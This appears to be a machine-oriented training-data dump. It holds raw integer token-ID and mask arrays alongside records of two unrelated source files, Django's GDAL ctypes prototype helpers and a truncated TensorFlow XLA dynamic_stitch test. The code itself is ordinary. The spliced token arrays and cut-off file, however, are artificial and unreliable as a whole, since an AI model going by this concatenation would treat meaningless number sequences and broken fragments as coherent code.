[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 7209, 14, 571, 272, 221, 4919, 94, 339, 961, 859, 9031, 314, 18796, 9279, 4223, 909, 14, 339, 520, 7307, 26, 334, 67, 9, 7760, 701, 1952, 827, 32472, 19728, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 624, 199, 199, 646, 747, 199, 646, 984, 199, 504, 5796, 492, 15536, 199, 504, 2197, 492, 6871, 199, 504, 7975, 492, 6036, 199, 504, 9143, 492, 1678, 63, 5029, 199, 199, 504, 10380, 14, 23004, 492, 25609, 2141, 199, 504, 10380, 14, 9492, 492, 9672, 12, 11949, 12, 4784, 7071, 12, 6516, 547, 199, 504, 10380, 14, 3924, 492, 28185, 12, 12624, 17692, 12, 971, 1362, 9075, 29967, 12, 8857, 2017, 199, 199, 504, 1275, 7546, 492, 485, 8599, 8934, 1692, 12, 1166, 63, 509, 12, 664, 63, 11331, 379, 63, 3431, 12, 971, 1362, 14233, 63, 5245, 63, 1829, 12, 485, 6520, 63, 504, 63, 1345, 63, 1532, 12, 2342, 63, 2491, 199, 504, 1275, 492, 2022, 199, 504, 1275, 21148, 492, 4784, 12, 7232, 199, 504, 1275, 888, 492, 4094, 1646, 12, 4094, 199, 504, 1275, 3799, 492, 22538, 12, 4693, 2998, 12, 485, 2640, 35, 2347, 21675, 199, 504, 1275, 8473, 492, 485, 1069, 63, 3799, 63, 2340, 12, 1056, 12, 2351, 12, 486, 199, 504, 1275, 11676, 492, 30894, 7810, 4434, 4267, 199, 504, 1275, 578, 492, 16808, 63, 374, 63, 578, 199, 504, 1275, 808, 24615, 492, 28626, 316, 42, 4135, 5455, 12, 9711, 12, 971, 1362, 485, 885, 63, 1160, 63, 3799, 63, 6459, 199, 504, 1275, 10458, 492, 1056, 63, 8924, 12, 1056, 63, 8669, 12, 4788, 63, 1069, 63, 1971, 12, 971, 1362, 1056, 63, 266, 9332, 63, 2110, 12, 1145, 1100, 63, 266, 9332, 63, 2110, 199, 504, 13653, 5819, 492, 24139, 12, 1059, 63, 1313, 12, 1318, 63, 466, 12, 3000, 63, 1313, 199, 199, 3, 282, 4650, 1202, 367, 2512, 11097, 199, 63, 2921, 63, 831, 275, 15536, 342, 421, 199, 318, 485, 1875, 63, 7473, 8, 585, 304, 272, 340, 440, 1228, 8, 585, 12, 6871, 304, 267, 372, 6871, 8, 4515, 29, 585, 9, 272, 372, 574, 421, 199, 318, 3272, 765, 8, 70, 304, 272, 408, 55, 8146, 282, 1083, 880, 626, 652, 18628, 282, 1104, 315, 3105, 818, 340, 314, 272, 1642, 1056, 1990, 2575, 8860, 14, 272, 408, 272, 347, 4975, 63, 1532, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 340, 291, 14, 1757, 436, 291, 423, 7808, 63, 2246, 63, 1069, 26, 288, 746, 9070, 360, 33, 3272, 805, 1990, 2797, 2410, 314, 283, 355, 283, 2246, 1056, 1990, 8860, 14, 221, 961, 9987, 9126, 282, 6519, 283, 355, 283, 262, 314, 4223, 2382, 282, 859, 1990, 440, 8439, 283, 355, 283, 460, 20419, 503, 1163, 9330, 1990, 2797, 4634, 2465, 3134, 78, 7, 355, 283, 1378, 5325, 642, 1852, 3238, 370, 492, 1006, 2195, 2455, 4621, 12, 283, 355, 283, 4659, 1709, 436, 8137, 4048, 737, 282, 18796, 4192, 283, 355, 283, 5182, 314, 4223, 9174, 22701, 4145, 2659, 267, 372, 289, 8, 277, 12, 627, 589, 12, 1011, 958, 9, 272, 372, 1678, 63, 5029, 8, 5029, 63, 1532, 12, 289, 9, 421, 199, 533, 16704, 1547, 8599, 8934, 1692, 304, 272, 408, 1918, 7209, 909, 9031, 282, 9279, 4223, 436, 17795, 465, 314, 18796, 272, 909, 14, 221, 2779, 365, 3032, 314, 536, 402, 314, 859, 503, 2559, 402, 314, 272, 4223, 14, 221, 19468, 652, 365, 2737, 652, 911, 2454, 465, 282, 18796, 7086, 367, 272, 314, 2455, 3423, 12, 314, 2851, 4713, 12, 1978, 2897, 436, 8298, 1655, 14, 339, 710, 536, 402, 314, 2559, 365, 1202, 370, 7512, 5944, 687, 6272, 314, 272, 2559, 503, 314, 4922, 314, 859, 365, 10470, 315, 10298, 641, 340, 314, 272, 2559, 2725, 32253, 370, 376, 3503, 2366, 2559, 334, 65, 4922, 543, 272, 376, 26856, 826, 4343, 647, 64, 570, 6272, 9, 503, 282, 4465, 859, 334, 4764, 282, 19853, 647, 64, 570, 680, 339, 2104, 1655, 2556, 3595, 2073, 8697, 12, 1937, 520, 1532, 1705, 1490, 63, 1927, 2313, 339, 24612, 1265, 1218, 282, 520, 533, 1705, 14182, 64, 1256, 315, 2195, 2446, 859, 503, 272, 315, 314, 26856, 826, 4343, 647, 64, 570, 402, 2195, 2559, 2839, 642, 447, 398, 687, 7209, 492, 16704, 267, 1145, 275, 16704, 3460, 354, 3368, 339, 2508, 1503, 31722, 447, 25225, 314, 7758, 12009, 398, 710, 16819, 402, 314, 1642, 2725, 365, 370, 8120, 16704, 376, 16819, 4052, 267, 15006, 370, 2195, 4223, 14, 221, 961, 536, 365, 1202, 370, 2342, 5944, 267, 641, 314, 570, 2656, 12, 883, 506, 1202, 701, 5478, 370, 19053, 10201, 267, 2556, 436, 282, 13918, 1655, 14, 398, 2002, 652, 1159, 11012, 4052, 1265, 5647, 2337, 14, 221, 982, 1265, 787, 1808, 282, 2849, 267, 859, 12, 26856, 354, 29341, 365, 3544, 314, 3211, 574, 14, 221, 982, 1265, 13432, 787, 267, 1808, 282, 2559, 12, 652, 1159, 9987, 14318, 370, 7508, 600, 314, 536, 402, 267, 2195, 2559, 2337, 14, 398, 2104, 2893, 340, 2195, 4223, 365, 3247, 315, 658, 12695, 3578, 15, 571, 14, 647, 64, 267, 1265, 1077, 1218, 652, 543, 1373, 402, 314, 2877, 5459, 5084, 447, 953, 1145, 275, 16704, 360, 12695, 3578, 358, 288, 1145, 275, 16704, 3460, 354, 4343, 1294, 19237, 16, 566, 398, 6827, 365, 626, 31, 221, 710, 4223, 911, 1736, 2755, 543, 26856, 354, 363, 3559, 2419, 6080, 267, 370, 4212, 5944, 787, 21182, 1536, 14, 221, 9738, 652, 911, 1852, 10201, 1655, 267, 691, 262, 1893, 14, 221, 11002, 877, 5478, 883, 1852, 21546, 4079, 641, 314, 267, 492, 536, 402, 2195, 4223, 14, 221, 2104, 2893, 314, 16704, 13, 4657, 12800, 267, 3329, 911, 3648, 367, 314, 1233, 315, 2195, 4223, 626, 15572, 267, 376, 5385, 1827, 315, 3105, 818, 14, 221, 982, 314, 492, 536, 365, 440, 7684, 663, 267, 1536, 12, 626, 10201, 2556, 365, 14669, 14, 221, 334, 1858, 2893, 652, 3955, 1454, 267, 3732, 1536, 5385, 9212, 315, 658, 12695, 3578, 14, 571, 64, 436, 440, 267, 658, 12695, 3578, 14, 4196, 14, 18062, 10522, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
megaumi/django
django/contrib/gis/gdal/prototypes/generation.py
349
4310
""" This module contains functions that generate ctypes prototypes for the GDAL routines. """ from ctypes import c_char_p, c_double, c_int, c_int64, c_void_p from functools import partial from django.contrib.gis.gdal.prototypes.errcheck import ( check_arg_errcode, check_const_string, check_errcode, check_geom, check_geom_offset, check_pointer, check_srs, check_str_arg, check_string, ) class gdal_char_p(c_char_p): pass def double_output(func, argtypes, errcheck=False, strarg=False, cpl=False): "Generates a ctypes function that returns a double value." func.argtypes = argtypes func.restype = c_double if errcheck: func.errcheck = partial(check_arg_errcode, cpl=cpl) if strarg: func.errcheck = check_str_arg return func def geom_output(func, argtypes, offset=None): """ Generates a function that returns a Geometry either by reference or directly (if the return_geom keyword is set to True). """ # Setting the argument types func.argtypes = argtypes if not offset: # When a geometry pointer is directly returned. func.restype = c_void_p func.errcheck = check_geom else: # Error code returned, geometry is returned by-reference. func.restype = c_int def geomerrcheck(result, func, cargs): return check_geom_offset(result, func, cargs, offset) func.errcheck = geomerrcheck return func def int_output(func, argtypes): "Generates a ctypes function that returns an integer value." func.argtypes = argtypes func.restype = c_int return func def int64_output(func, argtypes): "Generates a ctypes function that returns a 64-bit integer value." func.argtypes = argtypes func.restype = c_int64 return func def srs_output(func, argtypes): """ Generates a ctypes prototype for the given function with the given C arguments that returns a pointer to an OGR Spatial Reference System. """ func.argtypes = argtypes func.restype = c_void_p func.errcheck = check_srs return func def const_string_output(func, argtypes, offset=None, decoding=None, cpl=False): func.argtypes = argtypes if offset: func.restype = c_int else: func.restype = c_char_p def _check_const(result, func, cargs): res = check_const_string(result, func, cargs, offset=offset, cpl=cpl) if res and decoding: res = res.decode(decoding) return res func.errcheck = _check_const return func def string_output(func, argtypes, offset=-1, str_result=False, decoding=None): """ Generates a ctypes prototype for the given function with the given argument types that returns a string from a GDAL pointer. The `const` flag indicates whether the allocated pointer should be freed via the GDAL library routine VSIFree -- but only applies only when `str_result` is True. """ func.argtypes = argtypes if str_result: # Use subclass of c_char_p so the error checking routine # can free the memory at the pointer's address. func.restype = gdal_char_p else: # Error code is returned func.restype = c_int # Dynamically defining our error-checking function with the # given offset. def _check_str(result, func, cargs): res = check_string(result, func, cargs, offset=offset, str_result=str_result) if res and decoding: res = res.decode(decoding) return res func.errcheck = _check_str return func def void_output(func, argtypes, errcheck=True, cpl=False): """ For functions that don't only return an error code that needs to be examined. """ if argtypes: func.argtypes = argtypes if errcheck: # `errcheck` keyword may be set to False for routines that # return void, rather than a status code. func.restype = c_int func.errcheck = partial(check_errcode, cpl=cpl) else: func.restype = None return func def voidptr_output(func, argtypes, errcheck=True): "For functions that return c_void_p." func.argtypes = argtypes func.restype = c_void_p if errcheck: func.errcheck = check_pointer return func
bsd-3-clause
[ 624, 199, 961, 859, 3509, 3423, 626, 3550, 5577, 19393, 83, 367, 314, 199, 15801, 14975, 14, 199, 624, 199, 504, 5577, 492, 286, 63, 1560, 63, 80, 12, 286, 63, 3157, 12, 286, 63, 442, 12, 286, 63, 442, 772, 12, 286, 63, 1647, 63, 80, 199, 504, 9143, 492, 7417, 199, 199, 504, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 16141, 83, 14, 21205, 492, 334, 272, 1104, 63, 1273, 63, 1508, 600, 12, 1104, 63, 1297, 63, 875, 12, 1104, 63, 1508, 600, 12, 1104, 63, 6481, 12, 272, 1104, 63, 6481, 63, 2743, 12, 1104, 63, 3929, 12, 1104, 63, 12722, 12, 1104, 63, 495, 63, 1273, 12, 1104, 63, 875, 12, 199, 9, 421, 199, 533, 15834, 63, 1560, 63, 80, 8, 67, 63, 1560, 63, 80, 304, 272, 986, 421, 199, 318, 4270, 63, 1199, 8, 1532, 12, 29669, 12, 2329, 1074, 29, 797, 12, 620, 1273, 29, 797, 12, 286, 1168, 29, 797, 304, 272, 298, 20551, 282, 5577, 805, 626, 2529, 282, 4270, 574, 2122, 272, 2562, 14, 10025, 275, 29669, 272, 2562, 14, 9990, 275, 286, 63, 3157, 272, 340, 2329, 1074, 26, 267, 2562, 14, 21205, 275, 7417, 8, 1074, 63, 1273, 63, 1508, 600, 12, 286, 1168, 29, 67, 1168, 9, 272, 340, 620, 1273, 26, 267, 2562, 14, 21205, 275, 1104, 63, 495, 63, 1273, 272, 372, 2562, 421, 199, 318, 9671, 63, 1199, 8, 1532, 12, 29669, 12, 3268, 29, 403, 304, 272, 408, 272, 21687, 282, 805, 626, 2529, 282, 10579, 1902, 701, 3659, 272, 503, 5370, 334, 692, 314, 372, 63, 6481, 4252, 365, 663, 370, 715, 680, 272, 408, 272, 327, 13510, 314, 1423, 2943, 272, 2562, 14, 10025, 275, 29669, 339, 340, 440, 3268, 26, 267, 327, 3979, 282, 3400, 7849, 365, 5370, 2138, 14, 267, 2562, 14, 9990, 275, 286, 63, 1647, 63, 80, 267, 2562, 14, 21205, 275, 1104, 63, 6481, 272, 587, 26, 267, 327, 4520, 1233, 2138, 12, 3400, 365, 2138, 701, 13, 4443, 14, 267, 2562, 14, 9990, 275, 286, 63, 442, 398, 347, 2312, 1377, 9734, 1074, 8, 1099, 12, 2562, 12, 286, 589, 304, 288, 372, 1104, 63, 6481, 63, 2743, 8, 1099, 12, 2562, 12, 286, 589, 12, 3268, 9, 267, 2562, 14, 21205, 275, 2312, 1377, 9734, 1074, 339, 372, 2562, 421, 199, 318, 1109, 63, 1199, 8, 1532, 12, 29669, 304, 272, 298, 20551, 282, 5577, 805, 626, 2529, 376, 3000, 574, 2122, 272, 2562, 14, 10025, 275, 29669, 272, 2562, 14, 9990, 275, 286, 63, 442, 272, 372, 2562, 421, 199, 318, 1109, 772, 63, 1199, 8, 1532, 12, 29669, 304, 272, 298, 20551, 282, 5577, 805, 626, 2529, 282, 5049, 13, 2075, 3000, 574, 2122, 272, 2562, 14, 10025, 275, 29669, 272, 2562, 14, 9990, 275, 286, 63, 442, 772, 272, 372, 2562, 421, 199, 318, 16191, 63, 1199, 8, 1532, 12, 29669, 304, 272, 408, 272, 21687, 282, 5577, 19393, 367, 314, 1627, 805, 543, 272, 314, 1627, 445, 2368, 626, 2529, 282, 7849, 370, 376, 10904, 272, 13423, 10944, 6187, 14, 272, 408, 272, 2562, 14, 10025, 275, 29669, 272, 2562, 14, 9990, 275, 286, 63, 1647, 63, 80, 272, 2562, 14, 21205, 275, 1104, 63, 12722, 272, 372, 2562, 421, 199, 318, 950, 63, 875, 63, 1199, 8, 1532, 12, 29669, 12, 3268, 29, 403, 12, 15952, 29, 403, 12, 286, 1168, 29, 797, 304, 272, 2562, 14, 10025, 275, 29669, 272, 340, 3268, 26, 267, 2562, 14, 9990, 275, 286, 63, 442, 272, 587, 26, 267, 2562, 14, 9990, 275, 286, 63, 1560, 63, 80, 339, 347, 485, 1074, 63, 1297, 8, 1099, 12, 2562, 12, 286, 589, 304, 267, 522, 275, 1104, 63, 1297, 63, 875, 8, 1099, 12, 2562, 12, 286, 589, 12, 3268, 29, 2743, 12, 286, 1168, 29, 67, 1168, 9, 267, 340, 522, 436, 15952, 26, 288, 522, 275, 522, 14, 2708, 8, 12796, 9, 267, 372, 522, 272, 2562, 14, 21205, 275, 485, 1074, 63, 1297, 339, 372, 2562, 421, 199, 318, 1059, 63, 1199, 8, 1532, 12, 29669, 12, 3268, 4022, 17, 12, 620, 63, 1099, 29, 797, 12, 15952, 29, 403, 304, 272, 408, 272, 21687, 282, 5577, 19393, 367, 314, 1627, 805, 543, 314, 272, 1627, 1423, 2943, 626, 2529, 282, 1059, 687, 282, 15801, 7849, 14, 272, 710, 658, 1297, 64, 3305, 9126, 3775, 314, 17659, 7849, 1077, 272, 506, 23694, 4799, 314, 15801, 3555, 12981, 812, 2684, 10146, 1553, 1325, 1454, 12966, 272, 1454, 1380, 658, 495, 63, 1099, 64, 365, 715, 14, 272, 408, 272, 2562, 14, 10025, 275, 29669, 272, 340, 620, 63, 1099, 26, 267, 327, 3645, 5516, 402, 286, 63, 1560, 63, 80, 880, 314, 1125, 7907, 12981, 267, 327, 883, 2867, 314, 4402, 737, 314, 7849, 1159, 2287, 14, 267, 2562, 14, 9990, 275, 15834, 63, 1560, 63, 80, 272, 587, 26, 267, 327, 4520, 1233, 365, 2138, 267, 2562, 14, 9990, 275, 286, 63, 442, 339, 327, 21907, 1183, 12669, 4154, 1125, 13, 19527, 805, 543, 314, 272, 327, 1627, 3268, 14, 272, 347, 485, 1074, 63, 495, 8, 1099, 12, 2562, 12, 286, 589, 304, 267, 522, 275, 1104, 63, 875, 8, 1099, 12, 2562, 12, 286, 589, 12, 288, 3268, 29, 2743, 12, 620, 63, 1099, 29, 495, 63, 1099, 9, 267, 340, 522, 436, 15952, 26, 288, 522, 275, 522, 14, 2708, 8, 12796, 9, 267, 372, 522, 272, 2562, 14, 21205, 275, 485, 1074, 63, 495, 272, 372, 2562, 421, 199, 318, 2309, 63, 1199, 8, 1532, 12, 29669, 12, 2329, 1074, 29, 549, 12, 286, 1168, 29, 797, 304, 272, 408, 272, 2104, 3423, 626, 2793, 1133, 1454, 372, 376, 1125, 1233, 626, 4839, 370, 272, 506, 15735, 1942, 14, 272, 408, 272, 340, 29669, 26, 267, 2562, 14, 10025, 275, 29669, 272, 340, 2329, 1074, 26, 267, 327, 658, 21205, 64, 4252, 1443, 506, 663, 370, 756, 367, 14975, 626, 267, 327, 372, 2309, 12, 7830, 2419, 282, 2004, 1233, 14, 267, 2562, 14, 9990, 275, 286, 63, 442, 267, 2562, 14, 21205, 275, 7417, 8, 1074, 63, 1508, 600, 12, 286, 1168, 29, 67, 1168, 9 ]
[ 199, 961, 859, 3509, 3423, 626, 3550, 5577, 19393, 83, 367, 314, 199, 15801, 14975, 14, 199, 624, 199, 504, 5577, 492, 286, 63, 1560, 63, 80, 12, 286, 63, 3157, 12, 286, 63, 442, 12, 286, 63, 442, 772, 12, 286, 63, 1647, 63, 80, 199, 504, 9143, 492, 7417, 199, 199, 504, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 16141, 83, 14, 21205, 492, 334, 272, 1104, 63, 1273, 63, 1508, 600, 12, 1104, 63, 1297, 63, 875, 12, 1104, 63, 1508, 600, 12, 1104, 63, 6481, 12, 272, 1104, 63, 6481, 63, 2743, 12, 1104, 63, 3929, 12, 1104, 63, 12722, 12, 1104, 63, 495, 63, 1273, 12, 1104, 63, 875, 12, 199, 9, 421, 199, 533, 15834, 63, 1560, 63, 80, 8, 67, 63, 1560, 63, 80, 304, 272, 986, 421, 199, 318, 4270, 63, 1199, 8, 1532, 12, 29669, 12, 2329, 1074, 29, 797, 12, 620, 1273, 29, 797, 12, 286, 1168, 29, 797, 304, 272, 298, 20551, 282, 5577, 805, 626, 2529, 282, 4270, 574, 2122, 272, 2562, 14, 10025, 275, 29669, 272, 2562, 14, 9990, 275, 286, 63, 3157, 272, 340, 2329, 1074, 26, 267, 2562, 14, 21205, 275, 7417, 8, 1074, 63, 1273, 63, 1508, 600, 12, 286, 1168, 29, 67, 1168, 9, 272, 340, 620, 1273, 26, 267, 2562, 14, 21205, 275, 1104, 63, 495, 63, 1273, 272, 372, 2562, 421, 199, 318, 9671, 63, 1199, 8, 1532, 12, 29669, 12, 3268, 29, 403, 304, 272, 408, 272, 21687, 282, 805, 626, 2529, 282, 10579, 1902, 701, 3659, 272, 503, 5370, 334, 692, 314, 372, 63, 6481, 4252, 365, 663, 370, 715, 680, 272, 408, 272, 327, 13510, 314, 1423, 2943, 272, 2562, 14, 10025, 275, 29669, 339, 340, 440, 3268, 26, 267, 327, 3979, 282, 3400, 7849, 365, 5370, 2138, 14, 267, 2562, 14, 9990, 275, 286, 63, 1647, 63, 80, 267, 2562, 14, 21205, 275, 1104, 63, 6481, 272, 587, 26, 267, 327, 4520, 1233, 2138, 12, 3400, 365, 2138, 701, 13, 4443, 14, 267, 2562, 14, 9990, 275, 286, 63, 442, 398, 347, 2312, 1377, 9734, 1074, 8, 1099, 12, 2562, 12, 286, 589, 304, 288, 372, 1104, 63, 6481, 63, 2743, 8, 1099, 12, 2562, 12, 286, 589, 12, 3268, 9, 267, 2562, 14, 21205, 275, 2312, 1377, 9734, 1074, 339, 372, 2562, 421, 199, 318, 1109, 63, 1199, 8, 1532, 12, 29669, 304, 272, 298, 20551, 282, 5577, 805, 626, 2529, 376, 3000, 574, 2122, 272, 2562, 14, 10025, 275, 29669, 272, 2562, 14, 9990, 275, 286, 63, 442, 272, 372, 2562, 421, 199, 318, 1109, 772, 63, 1199, 8, 1532, 12, 29669, 304, 272, 298, 20551, 282, 5577, 805, 626, 2529, 282, 5049, 13, 2075, 3000, 574, 2122, 272, 2562, 14, 10025, 275, 29669, 272, 2562, 14, 9990, 275, 286, 63, 442, 772, 272, 372, 2562, 421, 199, 318, 16191, 63, 1199, 8, 1532, 12, 29669, 304, 272, 408, 272, 21687, 282, 5577, 19393, 367, 314, 1627, 805, 543, 272, 314, 1627, 445, 2368, 626, 2529, 282, 7849, 370, 376, 10904, 272, 13423, 10944, 6187, 14, 272, 408, 272, 2562, 14, 10025, 275, 29669, 272, 2562, 14, 9990, 275, 286, 63, 1647, 63, 80, 272, 2562, 14, 21205, 275, 1104, 63, 12722, 272, 372, 2562, 421, 199, 318, 950, 63, 875, 63, 1199, 8, 1532, 12, 29669, 12, 3268, 29, 403, 12, 15952, 29, 403, 12, 286, 1168, 29, 797, 304, 272, 2562, 14, 10025, 275, 29669, 272, 340, 3268, 26, 267, 2562, 14, 9990, 275, 286, 63, 442, 272, 587, 26, 267, 2562, 14, 9990, 275, 286, 63, 1560, 63, 80, 339, 347, 485, 1074, 63, 1297, 8, 1099, 12, 2562, 12, 286, 589, 304, 267, 522, 275, 1104, 63, 1297, 63, 875, 8, 1099, 12, 2562, 12, 286, 589, 12, 3268, 29, 2743, 12, 286, 1168, 29, 67, 1168, 9, 267, 340, 522, 436, 15952, 26, 288, 522, 275, 522, 14, 2708, 8, 12796, 9, 267, 372, 522, 272, 2562, 14, 21205, 275, 485, 1074, 63, 1297, 339, 372, 2562, 421, 199, 318, 1059, 63, 1199, 8, 1532, 12, 29669, 12, 3268, 4022, 17, 12, 620, 63, 1099, 29, 797, 12, 15952, 29, 403, 304, 272, 408, 272, 21687, 282, 5577, 19393, 367, 314, 1627, 805, 543, 314, 272, 1627, 1423, 2943, 626, 2529, 282, 1059, 687, 282, 15801, 7849, 14, 272, 710, 658, 1297, 64, 3305, 9126, 3775, 314, 17659, 7849, 1077, 272, 506, 23694, 4799, 314, 15801, 3555, 12981, 812, 2684, 10146, 1553, 1325, 1454, 12966, 272, 1454, 1380, 658, 495, 63, 1099, 64, 365, 715, 14, 272, 408, 272, 2562, 14, 10025, 275, 29669, 272, 340, 620, 63, 1099, 26, 267, 327, 3645, 5516, 402, 286, 63, 1560, 63, 80, 880, 314, 1125, 7907, 12981, 267, 327, 883, 2867, 314, 4402, 737, 314, 7849, 1159, 2287, 14, 267, 2562, 14, 9990, 275, 15834, 63, 1560, 63, 80, 272, 587, 26, 267, 327, 4520, 1233, 365, 2138, 267, 2562, 14, 9990, 275, 286, 63, 442, 339, 327, 21907, 1183, 12669, 4154, 1125, 13, 19527, 805, 543, 314, 272, 327, 1627, 3268, 14, 272, 347, 485, 1074, 63, 495, 8, 1099, 12, 2562, 12, 286, 589, 304, 267, 522, 275, 1104, 63, 875, 8, 1099, 12, 2562, 12, 286, 589, 12, 288, 3268, 29, 2743, 12, 620, 63, 1099, 29, 495, 63, 1099, 9, 267, 340, 522, 436, 15952, 26, 288, 522, 275, 522, 14, 2708, 8, 12796, 9, 267, 372, 522, 272, 2562, 14, 21205, 275, 485, 1074, 63, 495, 272, 372, 2562, 421, 199, 318, 2309, 63, 1199, 8, 1532, 12, 29669, 12, 2329, 1074, 29, 549, 12, 286, 1168, 29, 797, 304, 272, 408, 272, 2104, 3423, 626, 2793, 1133, 1454, 372, 376, 1125, 1233, 626, 4839, 370, 272, 506, 15735, 1942, 14, 272, 408, 272, 340, 29669, 26, 267, 2562, 14, 10025, 275, 29669, 272, 340, 2329, 1074, 26, 267, 327, 658, 21205, 64, 4252, 1443, 506, 663, 370, 756, 367, 14975, 626, 267, 327, 372, 2309, 12, 7830, 2419, 282, 2004, 1233, 14, 267, 2562, 14, 9990, 275, 286, 63, 442, 267, 2562, 14, 21205, 275, 7417, 8, 1074, 63, 1508, 600, 12, 286, 1168, 29, 67, 1168, 9, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Bulochkin/tensorflow_pack
tensorflow/compiler/tests/dynamic_stitch_test.py
123
3401
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for tf.dynamic_stitch.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from tensorflow.compiler.tests.xla_test import XLATestCase from tensorflow.python.framework import dtypes from tensorflow.python.ops import array_ops from tensorflow.python.ops import data_flow_ops from tensorflow.python.platform import googletest class DynamicStitchTest(XLATestCase): def _AssertDynamicStitchResultIs(self, indices, data, expected): with self.test_session() as session: index_placeholders = [ array_ops.placeholder(dtypes.as_dtype(arg.dtype)) for arg in indices ] data_placeholders = [ array_ops.placeholder(dtypes.as_dtype(arg.dtype)) for arg in data ] with self.test_scope(): output = data_flow_ops.dynamic_stitch(index_placeholders, data_placeholders) feed_dict = {} for placeholder, value in zip(index_placeholders, indices): feed_dict[placeholder] = value for placeholder, value in zip(data_placeholders, data): feed_dict[placeholder] = value result = session.run(output, feed_dict=feed_dict) self.assertAllClose(expected, result, rtol=1e-3) def testSimpleEmpty(self): idx1 = np.array([0, 2], dtype=np.int32) idx2 = np.array([[1], [3]], dtype=np.int32) val1 = np.array([[], []], dtype=np.int32) val2 = np.array([[[]], [[]]], dtype=np.int32) self._AssertDynamicStitchResultIs( [idx1, idx2], [val1, val2], expected=np.array([[], [], [], []], np.int32)) def testSimple1D(self): val1 = np.array([0, 4, 7], dtype=np.int32) val2 = np.array([1, 6, 2, 3, 5], dtype=np.int32) val3 = np.array([0, 40, 70], dtype=np.float32) val4 = np.array([10, 60, 20, 30, 50], dtype=np.float32) expected = np.array([0, 10, 20, 30, 40, 50, 60, 70], dtype=np.float32) self._AssertDynamicStitchResultIs( [val1, val2], [val3, val4], expected=expected) def testSimple2D(self): val1 = np.array([0, 4, 7], dtype=np.int32) val2 = np.array([1, 6], dtype=np.int32) val3 = np.array([2, 3, 5], dtype=np.int32) val4 = 